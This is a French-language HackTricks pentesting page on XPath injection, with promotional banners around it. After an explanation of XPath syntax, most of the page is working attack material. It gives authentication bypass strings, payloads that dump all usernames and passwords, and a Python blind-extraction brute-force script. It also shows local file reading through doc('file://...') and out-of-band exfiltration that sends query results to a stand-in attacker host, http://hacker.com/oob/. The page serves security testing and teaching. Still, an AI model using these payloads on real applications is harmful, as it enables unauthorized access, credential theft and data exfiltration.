hacktricks/pentesting-web/xpath-injection.md

18 KiB

Injection XPATH

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus de Piratage
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du piratage

Nouvelles de Piratage en Temps Réel
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel

Dernières Annonces
Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Syntaxe de Base

L'injection XPATH est une technique d'attaque utilisée pour exploiter des applications qui construisent des requêtes XPATH (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.

Informations sur comment faire des requêtes : https://www.w3schools.com/xml/xpath_syntax.asp

Nœuds

Expression Description
nodename Sélectionne tous les nœuds avec le nom "nodename"
/ Sélectionne à partir du nœud racine
// Sélectionne les nœuds dans le document à partir du nœud actuel qui correspondent à la sélection, peu importe où ils se trouvent
. Sélectionne le nœud actuel
.. Sélectionne le parent du nœud actuel
@ Sélectionne les attributs

Exemples :

Expression de Chemin Résultat
bookstore Sélectionne tous les nœuds avec le nom "bookstore"
/bookstore Sélectionne l'élément racine bookstoreNote : Si le chemin commence par une barre oblique ( / ), il représente toujours un chemin absolu vers un élément !
bookstore/book Sélectionne tous les éléments livre qui sont enfants de bookstore
//book Sélectionne tous les éléments livre peu importe où ils se trouvent dans le document
bookstore//book Sélectionne tous les éléments livre qui sont descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore
//@lang Sélectionne tous les attributs nommés lang

Prédicats

Expression de Chemin Résultat
/bookstore/book[1]

Sélectionne le premier élément livre qui est enfant de l'élément bookstore.Note : Dans IE 5,6,7,8,9 le premier nœud est [0], mais selon le W3C, c'est [1]. Pour résoudre ce problème dans IE, définissez le SelectionLanguage sur XPath :

En JavaScript : xml.setProperty("SelectionLanguage","XPath");

/bookstore/book[last()] Sélectionne le dernier élément livre qui est enfant de l'élément bookstore
/bookstore/book[last()-1] Sélectionne l'avant-dernier élément livre qui est enfant de l'élément bookstore
/bookstore/book[position()<3] Sélectionne les deux premiers éléments livre qui sont enfants de l'élément bookstore
//title[@lang] Sélectionne tous les éléments titre qui ont un attribut nommé lang
//title[@lang='en'] Sélectionne tous les éléments titre qui ont un attribut "lang" avec une valeur de "en"
/bookstore/book[price>35.00] Sélectionne tous les éléments livre de l'élément bookstore qui ont un élément prix avec une valeur supérieure à 35.00
/bookstore/book[price>35.00]/title Sélectionne tous les éléments titre des éléments livre de l'élément bookstore qui ont un élément prix avec une valeur supérieure à 35.00

Nœuds Inconnus

Caractère générique Description
* Correspond à tout nœud élément
@* Correspond à tout nœud attribut
node() Correspond à tout nœud de tout type

Exemples :

Expression de Chemin Résultat
/bookstore/* Sélectionne tous les nœuds éléments enfants de l'élément bookstore
//* Sélectionne tous les éléments dans le document
//title[@*] Sélectionne tous les éléments titre qui ont au moins un attribut de n'importe quel type

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus de Piratage
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du piratage

Nouvelles de Piratage en Temps Réel
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel

Dernières Annonces
Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Exemple

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Accéder aux informations

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifier et voler le schéma

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Contournement de l'authentification

Exemple de requêtes :

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Contournement OR dans l'utilisateur et le mot de passe (même valeur dans les deux)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Abus de l'injection null

Username: ' or 1]%00

Double OU dans le nom d'utilisateur ou dans le mot de passe (valide avec seulement 1 champ vulnérable)

IMPORTANT : Remarquez que le "et" est la première opération effectuée.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Extraction de chaînes

La sortie contient des chaînes et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Exploitation Aveugle

Obtenir la longueur d'une valeur et l'extraire par comparaisons :

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Exemple Python

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Lire le fichier

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Exploitation Hors-Bande

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Outil automatique

{% embed url="https://xcat.readthedocs.io/" %}

Références

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus de Hacking
Engagez-vous avec du contenu qui plonge dans l'excitation et les défis du hacking.

Nouvelles de Hacking en Temps Réel
Restez à jour avec le monde du hacking rapide grâce à des nouvelles et des aperçus en temps réel.

Dernières Annonces
Restez informé avec le lancement des dernières primes de bugs et les mises à jour cruciales de la plateforme.

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :